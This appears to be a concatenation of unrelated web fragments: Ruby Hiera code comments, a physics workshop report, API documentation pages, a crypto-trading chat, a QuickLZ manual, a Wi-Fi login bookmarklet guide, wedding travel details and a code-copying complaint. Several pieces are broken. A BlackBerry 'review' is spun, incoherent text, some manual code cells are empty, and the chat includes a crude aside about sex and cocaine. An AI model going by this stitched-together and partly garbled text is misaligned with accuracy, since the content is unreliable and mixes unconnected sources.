# backends that do not use files for anything will probably not use
# this method.
file = Backend.datafile(:file, scope, source, "d") or next
# For this example file backend we expect every source to be a *.d
# directory, and we will look for a file in the directory with the
# name of the specified key. The next few lines in essence take the
# file name determined by using the datafile() method and check to
# see if that directory contains a file named with the key. E.g. if
# the user passed the key "myvalue1", and for a given datasource
# (level in the hierarchy) the file path was "/hieradata/global.d",
# these next few lines will check to see if
# "/hieradata/global.d/myvalue1" exists and contains data. If any of
# these preconditions fails, we will abort and move on to the next
# datasource.
path = File.join(file, key)
next unless File.exist?(path)
data = File.read(path)
next unless data
# Using the parse_answer() method is important if we want to be able
# to use templated or scoped data. Calling parse_answer() on the data
# will cause Hiera to perform variable interpolation, looking for
# instances of the %{} syntax. Any instance found will be replaced
# with the value from the scope. Finally, the "break" statement is
# used to stop traversing datasources, as we have found and set our
# answer.
break if answer = Backend.parse_answer(data, scope)
end
# The return value of this method is the result of the hiera lookup.
return answer
end
end
end
end
More Examples
Read the code for Hiera’s built-in yaml and json backends to learn more about looking up data from files on disk:
Read the code of various third-party backends to learn more about accessing various other sources of data:


---
title: 'Using Phergie with Upstart'
date: '2011-03-02 15:46:18'
layout: post
slug: using-phergie-with-upstart
categories:
- Articles
tags: { }
---
Anthony Wlodarski has posted an example of an Upstart script he wrote to easily start, stop, and restart Phergie. The script source is open and freely available. Thanks to Anthony for taking the time to write up, publish, and tell us about his blog post on this neat method of controlling Phergie.


SCIENCE ACADEMIES SPONSERED LECTURE WORKSHOP ON ”PHYSICS OF MATERIALS"
School of Applied Sciences, Physics organized a lecture workshop on "Physics of Materials on 24th and 25th January. The event was coordinated by Dr.Sunitha D V and the convenor was Prof.Chandrabhas Narayana,JNCSR,Bengaluru.
DAY-01
9.00 AM-10 AM: Registration
10.00AM -10.30 AM: Inauguration
Lecture workshop was inaugurated and graced by Chancellor Dr.P.ShymaRaju, Vice Chancellor Dr.S.Y.Kularni, the Registrar. Dr.M. Dhananmjaya, the chief guest Prof.Reji Philip, Dr.N.Ramesh, Dr.Diwakar and Dr.Beena.
Lecture 01: 10:30-11:45 AM
Title: Non-linear optical materials
Speaker: Prof. Reji Philip, Raman Research Institute, Bengaluru
The Professor gave a brief introduction about non linear optical materials [NLO]. He explained non-linearity in second and third order, wave equations, refractive index and absorption co efficient, optical non-linearity in bulk and nano materials and its applications.
Lecture 02: 12:00-1:15 PM
Title: Electron paramagnetic resonance: A highly sensitive microscopic probe of magnetism
Speaker: Prof. S.V. Bhat, IISc, Bengaluru
The professor explained magnetic materials, its properties and types such as paramagnetism, diamagnetism, ferromagnetism, ferrimagnetism, anti- ferromagnetic property. Also he emphasised his talk on electron paramagnetic resonance (EPR) which is a spectroscopic technique that used for detecting unpaired electrons in magnetic materials. How EPR works and it is used for detecting unpaired electrons with examples.
Lecture 03: 2:15-3:30 PM
Title: Physics of Soft Matter
Speaker: Prof. Raghunathan, Raman Research Institute, Bengaluru
He gave brief introduction on matter, energy and time scale. How the atoms will be arranged in a matter and how the arrangement of atoms vary with temperature and pressure. He also compared the properties of matter with crystals. He derived an expression for osmotic pressure and related it to entropy with examples. The talk was very interactive and helped the students in gaining a lot of knowledge.
DAY-02
LECTURE 04: 10:00-11:15 AM
Title: Physics of Liquid Crystals
Speaker: Prof. N.V. Madhusudana, Raman Research Institute, Bengaluru
The professor gave a brief introduction on Liquid Crystals. He explained about the properties of liquid crystals and the various parameters that has influenced the liquid crystal properties. Types of crystals, Freedericksz transition, with examples of organic molecules. He also briefed about the mechanism involved in LCD displays of smart phones.
LECTURE 05: 11:30-12:45 PM
Title: Raman Scattering
Speaker: Prof. Chandrabas Narayana, JNCASR, Bengaluru
Raman spectroscopy is commonly used in chemistry to provide a structural fingerprint by which molecules can be identified. The speaker gave a in detail history and introduction about Raman scattering. He also, enlightened the students about the uses and applications of Raman spectroscopy. He also showed the micro Raman instrument developed in his lab. The talk was very interactive and he made the concept very interesting to the students with his examples.
LECTURE 06: 1:45-3.00 PM
Title: Physics of 2D Materials (Twisted Graphene)
Speaker: Prof. G.U.Kulkarni, CeNS, Bengaluru
Professor spoke the brief history behind the graphene invention. He also explained how to synthesis graphene in laboratory level and large scale using Chemical Vapour Deposition technique. Properties and uses of twisted graphene. The session was very interactive and students asked many questions for which the speak answered.
Valedictory: 3.00 - 4.00 PM
Valedictory was witnessed by Vice Chancellor, Registrar, Dean Science and Technology, Associate Dean, the guests Prof. Chandrabhas Narayana and Prof. G.U. Kulkarni. The participants from different colleges gave there positive feedback on speaker of the workshop and its arrangements.
As a token of gratitude and appreciation the convenor and the speaker of the workshop Prof. Chandrabhas Narayana and Prof. G.U. Kulkarni was felicitated.


|
VirtualSCADA
1.0
VirtualSCADA Senior Design Project
|
Public Member Functions | |
| presentException (Exception $exception, $verbose=false) | |
| Public Member Functions inherited from StringPresenter | |
| __construct (Differ\Differ $differ) | |
| presentValue ($value) | |
| presentException (Exception $exception, $verbose=false) | |
| presentString ($string) | |
| Public Member Functions inherited from PresenterInterface | |
| presentException (\Exception $exception, $verbose=false) | |
Protected Member Functions | |
| presentFileCode ($file, $lineno, $context=6) | |
| Protected Member Functions inherited from StringPresenter | |
| presentFileCode ($file, $lineno, $context=6) | |
| presentCodeLine ($number, $line) | |
| presentHighlight ($line) | |
| presentExceptionDifference (NotEqualException $exception) | |
| presentExceptionStackTrace (Exception $exception) | |
| presentExceptionTraceHeader ($header) | |
| presentExceptionTraceMethod ($class, $type, $method, array $args) | |
| presentExceptionTraceFunction ($function, array $args) | |
| getExceptionExamplePosition (PhpSpecException $exception) | |
Definition at line 20 of file HtmlPresenter.php.
| presentException | ( | Exception | $exception, |
$verbose = false |
|||
| ) |
| Exception | $exception | |
| bool | $verbose |
Definition at line 28 of file HtmlPresenter.php.
|
protected |
| string | $file | |
| integer | $lineno | |
| integer | $context |
Definition at line 44 of file HtmlPresenter.php.


A channel to discuss trading. For useful links and more info click the pinned messages to the right.
100 messages
Before 05-Dec-19 12:00 AM
Likewise18-Feb-19 05:33 AM
basically all i meant was, to get a sutained bull run going we needed to break that 31 dec high we now have done so, so lets see if we get a longer term uptrend going
it is fun to trade the peaks/valleys but I'd much prefer to start a loger term trend now
ComputerGenie 👴👴👴18-Feb-19 05:34 AM
on that we can agree
on the "no progress", we differ and dec 31 has no bearing
Likewise18-Feb-19 05:34 AM
yeah the no progress I meant are the pumps/dumps who basicalle do nothing more the na return up/down ride/ of course now we are making progress
ComputerGenie 👴👴👴18-Feb-19 05:35 AM
dec 31 candle wick was almost literally 2x the bottom(edited)
Likewise18-Feb-19 05:36 AM
lets hope we continue coz for me at 47 I have seeem anough charts, basically one last good run in crypto and I'm done. Not saying I made all in crypto, far from but if I can get a good times 5 I'm set. Life outhere, 1 to 2 million$ u are golden, Asia still has value to offer. Yes also on the pussy not so much on the coke, bad quality lol
ComputerGenie 👴👴👴18-Feb-19 05:36 AM
I meant are the pumps/dumps who basicalle do nothing more the na return up/down ride
the pds themselves, yes; however, as I pointed out multiply there was a sustained upward trend through the end of each
Likewise18-Feb-19 05:37 AM
yes started in November, since then we seemed to bounce on support and the pumps get higher which could turn it into a l;onger term uptrend
ComputerGenie 👴👴👴18-Feb-19 05:38 AM
see, when you actually listen to the kid, you agree with him
Likewise18-Feb-19 05:38 AM
hahahah cool kid
u cnac all me dad now, or are u older then I am haha
ComputerGenie 👴👴👴18-Feb-19 05:38 AM
you got my by 1.5-2 years
Likewise18-Feb-19 05:39 AM
oh so both old for crypto lol. Guess most are early 20'es and 30'ies
ComputerGenie 👴👴👴18-Feb-19 05:39 AM
I don't see ages, I see dots
Likewise18-Feb-19 05:40 AM
hahaha, I'm no nothing about programming and stuff completely blind for it.
Markus18-Feb-19 05:41 AM
Likewise u said u been trading since 2006 or so, have u worked in such industry?
ComputerGenie 👴👴👴18-Feb-19 05:41 AM
I meant "dots" on the screen (pixels)
1
Likewise18-Feb-19 05:43 AM
No, far from I come from a diving back ground, was an offshore diver on gas/oil fields, my father died at young age so I got the sto pworking at 36, took my savings+inheritance and started trading.......lots of margin calls in the beginning, then started looking into courses on global macro/ecomomics, took another approach to my trading, as in less trades higher returns and eventually become consitently profitable, some quarters good some awesome some bad but overall made good returns.
Markus18-Feb-19 05:44 AM
alright nice
Likewise18-Feb-19 05:45 AM
March 2017 got into BTC, took a step back from the tradional markets, made some good $ on BTC and as said, hoping for one more good run to close shop
and now hodler of BTC and KMD
Markus18-Feb-19 05:46 AM
have u ever looked into market cycles?
Likewise18-Feb-19 05:46 AM
Yes yes, big part of global macro, I use them a lot in the tradional markets
For market cycles a great guy to have a look at on youtube or twitter is bob Loukas, he has a video about the BTC cycles
Markus18-Feb-19 05:47 AM
theres some ppl doing market cycle analysis on btc for next bull run, they predict it can top at 100k usd, whats ur thoughts on that?
Likewise18-Feb-19 05:48 AM
I honestly have no idea where it could go but if this or in the near future is the start of a new 4 year bull cycle, yeah 50 to 100K why not. but have a look at Bob Loukas, free video, he explains this really well.
Markus18-Feb-19 05:49 AM
yea i saw his video
Likewise18-Feb-19 05:50 AM
I tend to think his analysis is pretty much as close as we can get. Or you got the bears Tone vase who still says we will see lower then 1000$. Following and knowing both in the trading industry (vase wasaround since fx when i started) I tend to give more credit to Bob.
Now, better, I have way more KMD then BTC, so I'd much prefer KMD to got lets say 8 or 9$
or KMD at 90$ yeah baby hahah
Markus18-Feb-19 05:53 AM
well if we consider eth went from like 9$ to 1400$ 2017
i dont see 100$ being impossible
very possible i would say
Likewise18-Feb-19 05:53 AM
Indeed, that is why I have it in teh back of my head that there is a chance of a real golden run
and I really love the 5% I'm getting
Markus18-Feb-19 05:54 AM
it is for sure a sleeping giant, let the custom blockchain generator go live on amazons marketplace
and u will see huge gains
Likewise18-Feb-19 05:54 AM
nice, in the mean time this 5% adds up nicely
Markus18-Feb-19 05:55 AM
haha
Likewise18-Feb-19 05:56 AM
go figure, most retired people living in the tropics would kill to get 5% steady yield
so here we got 5% yield + a big chance of multifold %%% returns.


Combine items to try to entice hipsters to appear!
How to add items to your inventory:
(WARNING: This will use monies!!!)
(Note: You cannot sell back items for monies!! (cause Capitalism)
(Note: You can buy up to 8 with monies!)
How to add items to the 'yard':
You need at least 2 items in your inventory to attract a hipster!
Try to collect all the hipsters!!!
Name gave you
2
6
8
5
7
5
4
10
3
3
50
50


Supports multiple educational websites.
Saving files locally for later access without internet.
One page for everything.
Any internet-connected device can use us for low-weight educational materials.
Uses Bootstrap, jQuery, Flask, and BeautifulSoup.


Why America Is Becoming More Divided
Mainstream media is fueling political rift within country
by Millie WeaverMillie Weaver goes to a Trump rally in Lexington, Kentucky to talk to both Trump supporters and anti-Trump protesters.
Mainstream media news outlets have promoted fear, disinformation, and hatred amongst Americans causing an artificial rift in the nation. Both sides seem now unwilling to have dialog and discussion with one another while rumors of civil war stir.
Are we going to cowardly allow the media to make our neighbors our enemies over political differences? Be courageous and extend an olive branch.


Contact Ricardo
Name
Your email
Comment
Still not satisfied with the result?
You may also mail Ricardo by
richiechao95@gmail.com


A Practical Algorithm for Finding Maximal Exact Matches in Large Sequence Data Sets Using Sparse Suffix Arrays
Motivation: High-throughput sequencing technologies place ever increasing demands on existing algorithms for sequence analysis. Algorithms for computing maximal exact matches (MEMs) between sequences appear in two contexts where high-throughput sequencing will vastly increase the volume of sequence data: (1) seeding alignments of high-throughput reads for genome assembly and (2) designating anchor points for genome-genome comparisons.
Results: We introduce a new algorithm for finding finding MEMs. The algorithm leverages a sparse suffix array, a text index that stores every Kth position of the text. In contrast to a full text index that stores every position of the text, a sparse suffix array occupies much less memory. Even though we use a sparse index, the output of our algorithm is the same as a full text index algorithm. By relying on partial matches and additional text scanning between indexed positions, the algorithm trades memory for extra computation. The reduced memory usage makes it possible to determine MEMs between significantly larger sequences.
Paper
Zia Khan, Josh Bloom,
Leonid Kruglyak, Mona Singh. A Practical
Algorithm for Finding Maximal Exact Matches in Large Sequence Data
Sets Using Sparse Suffix Arrays. Bioinformatics 2009 25: 1609-1616.
Source Code
Source code is availible on github at https://github.com/zia1138/sparseMEM.
This implementation of our algorithm that can serve as a drop-in
replacement for the suffix tree based MEMs algorithm in the popular
MUMmer 3 system
Data
Click here to download the genomes used in Table 1 and 2.
The mouse, human, and chimp data can be downloaded from the
UCSD Genome Browser Download Page.
There's a utility for converting from 2-bit format to text in the BLAT source code (twoBitToFa)
on Jim Kent's web page. Make
sure you use the -noMask option (e.g. "./twoBitToFa -noMask genome.2bit").
License
Copyright (c) 2009, Princeton University
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of the Princeton University nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.

Zia Khan
Last modified: Wed Jan 28 17:04:13 EST 2009


QuickLZ C 1.5.x manual
Last edited: 08-Jan-2011.
Functions
Flags
Overlapping decompression
Thread Safety
Memory Requirements
Architecture Compatibility
Backwards Compatibility
Sample code
This manual covers the C version of the QuickLZ 1.5.x library. It consists of the two files quicklz.c and quicklz.h whose only dependency is string.h.
QuickLZ 1.5.x supports three compression levels and optional streaming mode. Because of performance reasons, these settings cannot be given in runtime but must instead be defined through #define flags whereafter the library must be compiled.
The API of version 1.5.x is the same as in version 1.4.x except that qlz_compress() and qlz_decompress() now take qlz_state_compress and qlz_state_decompress structs as argument instead of char *scratch buffers.
Version 1.5.x is data compatible with version 1.4.x and version 1.4.x data compatible with version 1.5.x. Data compressed with one version can be decompressed with the other version, for all compression levels.
Functions
Following public functions exist:
| size_t qlz_compress(const void *source, char *destination, size_t size, qlz_state_compress *state_compress) |
Compress size amount of bytes of source and write the result to destination.
The size argument must be between 1 and 232 - 1 on 64-bit architectures even though the size_t type is used.
The destination buffer must be at least size + 400 bytes large because incompressible data may increase in size.
The qlz_state_compress type is a struct defined in the beginning of the quicklz.h file and is used for temporary storage by the compression algorithm.
If streaming mode is enabled, further issues apply; see the description of the QLZ_STREAMING_BUFFER flag.
Return value: Size of compressed result.
Note: The qlz_state_compress struct is large and should not be allocated in local function scope becuse it can lead to stack overflow:
| wrong | OK | OK |
|
main() |
qlz_state_compress state_compress;
|
main() |
| size_t qlz_decompress(const char *source, void *destination, qlz_state_decompress *state_decompress) |
Decompress source and write the result to destination.
The qlz_state_decompress type is a struct defined in the beginning of the quicklz.h file and is used for temporary storage by the decompression algorithm.
If streaming mode is enabled, further issues apply; see the description of the QLZ_STREAMING_BUFFER flag.
Return value: Size of decompressed result.
Note: For qlz_state_decompress the same allocation issues apply as for qlz_state_compress mentioned above.
| size_t qlz_size_decompressed(const char *source) |
Takes the first 9 bytes of compressed data as argument (header) and returns its decompressed size.
The function can be used to allocate the correct amount of memory for decompression.
| size_t qlz_size_compressed(const char *source) |
Takes the first 9 bytes of compressed data as argument (header) and returns its entire compressed size.
The function can be used to read a block of compressed data from a file or storage device in cases where the size of the block is unknown.
| int qlz_get_setting(int settings) |
This function gives access to source code constants that are not accessible when using QuickLZ in compiled form like a .dll library.
| Argument | Return value |
| 0 | QLZ_COMPRESSION_LEVEL |
| 1 | sizeof(qlz_state_compress) |
| 2 | sizeof(qlz_state_decompress) |
| 3 | QLZ_STREAMING_BUFFER |
| 6 | 1 if QLZ_MEMOMRY_SAFE is defined, otherwise 0 |
| 7 | QLZ_VERSION_MAJOR |
| 8 | QLZ_VERSION_MINOR |
| 9 | QLZ_VERSION_REVISION |
Flags
The flags exist in the beginning of the
quicklz.h file. They are surrounded by an #ifndef
QLZ_COMPRESSION_LEVEL which enables possibility to
define them from the outside like on the compiler command line (most commonly
through the /D or -D option).
Possible settings and the default settings are shown:
| #define QLZ_COMPRESSION_LEVEL 1 //#define QLZ_COMPRESSION_LEVEL 2 //#define QLZ_COMPRESSION_LEVEL 3 |
This flag selects the compression level which can be 1, 2 or 3.
Note that data must be decompressed with the same setting of QLZ_COMPRESSION_LEVEL as it was compressed.
| #define QLZ_STREAMING_BUFFER 0 //#define QLZ_STREAMING_BUFFER 100000 //#define QLZ_STREAMING_BUFFER 1000000 |
Because LZ compression is based on finding repeated strings, compression ratio can degrade if a data entity is being split into smaller packets (less than 10 - 50 Kbytes) that are compressed individually. Setting QLZ_STREAMING_BUFFER to any non-zero value enables streaming mode which makes QuickLZ store a history buffer of QLZ_STREAMING_MODE bytes in size. The history buffer is stored in the state structs on both the compressing and decompressing site which increases their sizes. When enabled, following issues apply:
Packets must be decompressed in the same order as they were compressed.
The functions qlz_compress() and qlz_decompress() must be given each their state struct and their contents must be preserved across calls by the caller.
The state structs must be initially zeroed out by the caller.
There is no queue with flush or fetch functions; qlz_compress() generates a compressed packet which can be stored or sent to a decompressing site for immediate decompression.
Note that data must be decompressed with the same setting of QLZ_STREAMING_BUFFER as it was compressed, which is why two easy-to-remember non-zero values are suggested in quicklz.h. Setting it much lower than 100000 may degrade compression ratio and setting it higher than 1000000 may not improve compression ratio further.
| //#define QLZ_MEMORY_SAFE |
When this flag is defined, decompression with qlz_decompress() cannot crash if fed with corrupted data. It ensures that neither memory access, read nor write can happen outside the following three byte intervals:
[source ; source + qlz_size_compressed(source)
- 1]
[destination ; destination
+ qlz_size_decompressed(source) - 1]
[state_decompress;
state_decompress+
sizeof(qlz_state_decompress) - 1]
Before decompression the caller must test if the return values of
qlz_size_compressed() and
qlz_size_decompressed() are within range of allocated memory. These
functions are reading the compressed and decompressed size from a header located
within the first 9 bytes of compressed data and is what
qlz_decompress()is bounds testing against.
If qlz_decompress() receives corrupted data with QLZ_MEMORY_SAFE defined, it will either return 0 or return qlz_size_decompressed(source) but with arbitrary decompressed data.
Defining the flag decreases decompression speed in the order of 10-20%. The speed of compression is not affected.
Note that the QLZ_MEMORY_SAFE flag is new in QuickLZ and should not be assumed exploit safe against maliciously manipulated data.
| ← lower addresses | higher addresses → |
| d + (d >> 3) + 400 - c bytes of space | c bytes of compressed data |
The data can now be decompressed to the destination pointer and may overwrite a part of the compressed data. Note that the space d + (d >> 3) + 400 - c may evaluate to 0 for some kinds of data.
|
#include "quicklz.h" |
Memory Requirements
The exact value of
sizeof(qlz_state_compress) and
sizeof(qlz_state_decompress)
depends on how the C compiler is packing
various
struct array in quicklz.h. Most commonly the
sizes are the values given in the table below, plus the value of
QLZ_STREAMING_BUFFER.
| sizeof(char *) | 32 bits | 64 bits | ||||
|
QLZ_COMPRESSION_LEVEL |
1 | 2 | 3 | 1 | 2 | 3 |
| sizeof(qlz_state_compress) | 36868 | 34820 | 266244 | 36872 | 67592 | 528392 |
| sizeof(qlz_state_decompress) | 20484 | 34820 | 8 | 36872 | 67592 | 8 |
Architecture Compatibility
QuickLZ 1.5.x has been extensively tested and bounds
checked on a variety of 32- and 64-bit architectures such as x86, x64, UltraSPARC, MIPS,
Itanium, POWER, ARM, PA-RISC, Alpha, Cell and 68k. Data compressed on one architecture can be
decompressed on any other architecture.
It is required that sizeof(int) == 4 which is the case for the ILP32, LP64 and LLP64 data models.
|
#include "quicklz.h" |
|
#include "quicklz.h"
// Zero out both states. |


{% comment %} Licensed to Cloudera, Inc. under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. Cloudera, Inc. licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. {% endcomment %}
| ID | TimeZone | Name | GEO Latitude | GEO Longitude |
|---|---|---|---|---|
| 22 | New York City | America/New_York America/New_York America/New_York America/New_York | 40.7255 | -73.9983 |
| 23 | San Francisco San Francisco San Francisco | America/Los_Angeles America/Los_Angeles America/Los_Angeles | 37.7587 | -122.433 |
| 22 | New York City | America/New_York America/New_York America/New_York America/New_York | 40.7255 | -73.9983 |
| 23 | San Francisco San Francisco San Francisco | America/Los_Angeles America/Los_Angeles America/Los_Angeles | 37.7587 | -122.433 |
| 22 | New York City | America/New_York America/New_York America/New_York America/New_York | 40.7255 | -73.9983 |
| 23 | San Francisco San Francisco San Francisco | America/Los_Angeles America/Los_Angeles America/Los_Angeles | 37.7587 | -122.433 |
| 22 | New York City | America/New_York America/New_York America/New_York America/New_York | 40.7255 | -73.9983 |
| 23 | San Francisco San Francisco San Francisco | America/Los_Angeles America/Los_Angeles America/Los_Angeles | 37.7587 | -122.433 |


A Context represents the context which a Mustache template is executed within. All Mustache tags reference keys in the Context.
Alias for `fetch`.
# File lib/mustache/context.rb, line 76 def [](name) fetch(name, nil) end
Can be used to add a value to the context in a hash-like way.
context = "Chris"
# File lib/mustache/context.rb, line 71 def []=(name, value) push(name => value) end
Allows customization of how Mustache escapes things.
Returns a String.
# File lib/mustache/context.rb, line 46 def escapeHTML(str) mustache_in_stack.escapeHTML(str) end
Similar to Hash#fetch, finds a value by `name` in the context’s stack. You may specify the default return value by passing a second parameter.
If no second parameter is passed (or raise_on_context_miss is set to true), will raise a ContextMiss exception on miss.
# File lib/mustache/context.rb, line 94 def fetch(name, default = :__raise) @stack.each do |frame| # Prevent infinite recursion. next if frame == self value = find(frame, name, :__missing) if value != :__missing return value end end if default == :__raise || mustache_in_stack.raise_on_context_miss? raise ContextMiss.new("Can't find #{name} in<EMAIL_ADDRESS>else default end end
Finds a key in an object, using whatever method is most appropriate. If the object is a hash, does a simple hash lookup. If it’s an object that responds to the key as a method call, invokes that method. You get the idea.
obj - The object to perform the lookup on. key - The key whose value you want.
default - An optional default value, to return if the
key is not found.
Returns the value of key in obj if it is found and default otherwise.
# File lib/mustache/context.rb, line 123 def find(obj, key, default = nil) hash = obj.respond_to?(:has_key?) if hash && obj.has_key?(key) obj[key] elsif hash && obj.has_key?(key.to_s) obj[key.to_s] elsif !hash && obj.respond_to?(key) meth = obj.method(key) rescue proc { obj.send(key) } if meth.arity == 1 meth.to_proc else meth[] end else default end end
Do we know about a particular key? In other words, will calling `context` give us a result that was set. Basically.
# File lib/mustache/context.rb, line 82 def has_key?(key) !!fetch(key) rescue ContextMiss false end
A {{>partial}} tag translates into a call to the context’s `partial` method, which would be this sucker right here.
If the Mustache view handling the rendering (e.g. the view representing your profile page or some other template) responds to `partial`, we call it and render the result.
# File lib/mustache/context.rb, line 26 def partial(name, indentation = '') # Look for the first Mustache in the stack. mustache = mustache_in_stack # Indent the partial template by the given indentation. part = mustache.partial(name).to_s.gsub(/^/, indentation) # Call the Mustache's `partial` method and render the result. result = mustache.render(part, self) end
Removes the most recently added object from the context’s internal stack.
Returns the Context.
# File lib/mustache/context.rb, line 63 def pop @stack.shift self end
Generated with the Darkfish Rdoc Generator 2.


{{define "title"}}{{end}} {{define "body"}}
RetroGit emails you a daily or weekly digest with your GitHub commits from all the previous years during which you checked in code.
Use it as a nostalgia trip, or to remind you of TODOs that you never quite got around to cleaning up. Think of it as Timehop for your codebase.
If you have any concerns about how RetroGit uses GitHub data, please see the FAQ.


Inside
Temperature:
ºC
Humidity:
%
Pressure:
bar
AQI Score:
AQI Level:
PM 2.5:
Outside
Temperature:
ºC
Humidity:
%
Pressure:
bar
AQI Score:
AQI Level:
PM 2.5:


Use this to automate VisitorNet login. Follow steps below to create a bookmark.
Using the bookmark: Connect to Visitornet WiFi. Open Safari, then tap the bookmark 3 times to log-in. Wait between taps for the VisitorNet pages to load.
See Notes & Troubleshooting for more information.
Enter the Username to paste and a Password. Then tap Make jOJ Bookmark to reload this page for Step 2.
Tap the action button on the toolbar. Then select Add Bookmark.
Take note of the name (or edit it), and then tap Save.
First, tap on the text box with Code for your bookmark. Then Select all of the text and Copy it to the clipboard.
Now edit the bookmark you added in step 2 to turn it into a javascript bookmark. Tap the Bookmarks button in the toolbar.
Navigate to the bookmark you just saved. Do not select the bookmark. Tap Edit to make changes.
In the Edit pop-over, tap on the bookmark name.
In the Edit Bookmark pop-over, tap in the field that begins with “http:
”. It is easiest to replace all of it with the contents of the clipboard, so simply tap the circle with an X in it.
Finally, tap and hold in the now empty Address field and select Paste. The updated book mark appears. The bookmark ends with:
void('_MmVERSION_')
The bookmark code is quite long, but if you scroll to the start you'll see the bookmark begins: javascript:var%20u=
…
Back-up a level in the edit pop-over by tapping the button to the left of “Edit Bookmark”.
Save the bookmark by tapping Done.
Connect to VisitorNet WiFi. Tap the jOJ bookmark to go to VisitorNet sign-in page, then again to “paste” the stored username & password. After the screen updates, tap the bookmark a third time to accept the Terms.
Notes
Troubleshooting
void'_MmVERSION_'
would indicate you bookmark is current against the title of this page,
jumpOnJuniper _MmVERSION_.Copyright © 2012-2019 Tom King. All rights reserved.


Airport and Accomodations
The Wedding will be in Colton, WA but guests will all be staying in the town of Moscow, ID where Jon and Valari live (just 21 miles from Colton, WA). See below for details on ceremony location, airports in the region, and local accomodations.
-
Ceremony Location
Red Barn Farms
501 Wawawai Rd,
Colton, WA
99113, United States -
Airport Information
Spokane International Airport
9000 West Airport Drive
Spokane, WA
99224, United StatesSpokane is about a 1.5 hour drive through the beautiful Palouse to Moscow, ID.
Lewiston - Nez Perce County Regional Airport
406 Burrell Avenue
Lewiston, ID
83501, United StatesLewiston has fewer flights come into the airport, but is a good option if you are flying Alaska Air or Delta. It is about a 40 minute drive from Moscow, ID.
Pullman-Moscow Regional Airport
3200 Airport Road
Pullman, WA
99163, United StatesThis is a very small airpot located just outside of Moscow.
-
Accommodations
Best Western University Inn
1516 West Pullman Road,
Moscow, ID
83843, United States
(208) 882-0550At this hotel, guests can call the hotel for the Burnett/Miller wedding rate. They will hold 15 rooms until 6 weeks prior to the wedding date. After that, guests can still get the group rate but they open up the rooms to the public, so first come first serve.
La Quinta Inn & Suites Moscow Pullman
185 Warbonnet Drive,
Moscow, ID
83843, United States
(208) 882-5365Click here for Other Camping and Lodging Options
RSVP ▸
View Gift Registry ▸


Vim Golf is a super cool awesome fun game where you try to make particular changes to a file in the fewest number of Vim keystrokes.


Before Change
partition.append((start, end))
start = end
return {
"state": [s["state"] for s in self._all_states],
"param_groups": param_groups,
"partition": partition,
"local_state_dict": False,
}
@staticmethod
def rank_local_state_dict(rank: int, state_dict: dict) -> dict:
Returns the local_state_dict for a given rank.
After Change
if len(self._all_states) == 0:
raise RuntimeError(
"Optimizer state has not been consolidated on this rank. \
Please call `consolidate_state_dict()` on all ranks beforehand if you meant to save the global state"
)
// Unify the shard states and the state that pytorch would expect, given the model.
// Indexation needs several redirections, since each shard only knows a limited scope of the model
// - get the pytorch compliant parameter indexing


If anyone is interested in viewing the actual license infringement, don't take my word for it, you can verify it for yourself.
Here is the link of the current minified JavaScript bundle being served by magnum wallet: https://app.magnumwallet.co/dist/build.js?v=99
You can search for the string "getKomodoRewards" which should bring you to this section of code:
{key:"getKomodoRewards",value:function(t,e,r,n){var i=Math.floor((t-e)/60);if(r>=7777777||e<5e8||n<1e9||i<60)return 0;var o=r>=1e6?44640:525600,a=Math.min(i,o);a-=59;var s=Math.floor(n/10512e3)*a;return Math.max(0,s)}}
This is a line for line direct copy of our getKomodoRewards() function here: https://github.com/atomiclabs/komodo-ledger-reward-claim/blob/master/src/lib/get-komodo-rewards.js
It looks different because it's been run through a build system and transpiled, minified and bundled. However if you view the logic line by line and compare it with our file you'll see it's functionally identical.
if you run our function through a build system it'll come out looking the same.
I've added newlines at the end of each statement in the Magnum copy below if you want to compare it to our version more easily.
{
key: "getKomodoRewards",
value: function(t, e, r, n) {
var i = Math.floor((t - e) / 60);
if (r >= 7777777 || e < 5e8 || n < 1e9 || i < 60) return 0;
var o = r >= 1e6 ? 44640 : 525600,
a = Math.min(i, o);
a -= 59;
var s = Math.floor(n / 10512e3) * a;
return Math.max(0, s)
}
}


All Classes
Advertisable
AdvertManager
BookableEvent
Cashier
CouldNotDeductTicketsException
Customer
DataDidNotSaveException
EnvSetter
Event
EventManager
Manager
Performer
Person
SevereHandler
StorageManager
Ticket
TicketGenerator
Venue


Before Change
module_name = "Resize"
def create_settings(self):
self.image_name = cellprofiler.setting.ImageNameSubscriber(
"Select the input image",
cellprofiler.setting.NONE,
doc="Select the image to be resized."
)
self.resized_image_name = cellprofiler.setting.ImageNameProvider(
"Name the output image",
"ResizedBlue",
doc="Enter the name of the resized image."
)
self.size_method = cellprofiler.setting.Choice(
"Resizing method",
R_ALL,
After Change
module_name = "Resize"
def create_settings(self):
super(Resize, self).create_settings()
self.size_method = cellprofiler.setting.Choice(
"Resizing method",
R_ALL,


by Alex Bartley Nees
published 6th March 2021
published 25th February 2021
published 22th February 2021
published 19th February 2021
published 16th February 2021
published 11th February 2021
published 10th February 2021
updated 7th March 2021


An application program is a program designed to perform a specific function directly for the user or, in some cases, for another application program. Examples of applications include word processors, database programs, Web browsers, development tools, drawing, paint, image editing programs, and communication programs.
Steps to run an Application are:
* Point the mouse pointer and right click on the application icon that you want to run or open.
* Then click Open.


[1] Default is weak must be that bright screen easy to manage my Blackberry has bing but offer interest free app.
[2] Default is weak must be that bright screen Transferring contacts and pretty easy lots of active apps do some people sporting this screen easy to manage my Blackberry has bing but offer interest free app.


Oracle Careers Need Help? Send an e-mail and include a detailed description of the issue. Oracle's Pre-employment Screening ProcessOracle's Pay Transparency Policy
Support for process dumping of native and managed code (C++ and C#) · Issue #151 · dotnet/diagnostics See also https://github.com/dotnet/coreclr/issues/23681 When exception occurs in application, it should be possible to dump it's state, including native and it's managed counterparts. (C++ ...
Strongly Typed Feature Flags With ASP.NET Core 2.2 Feature flags can be useful for changing the runtime behavior of an application with minimal impact. Having a UI to toggle the feature flags on and off is extra helpful, too!
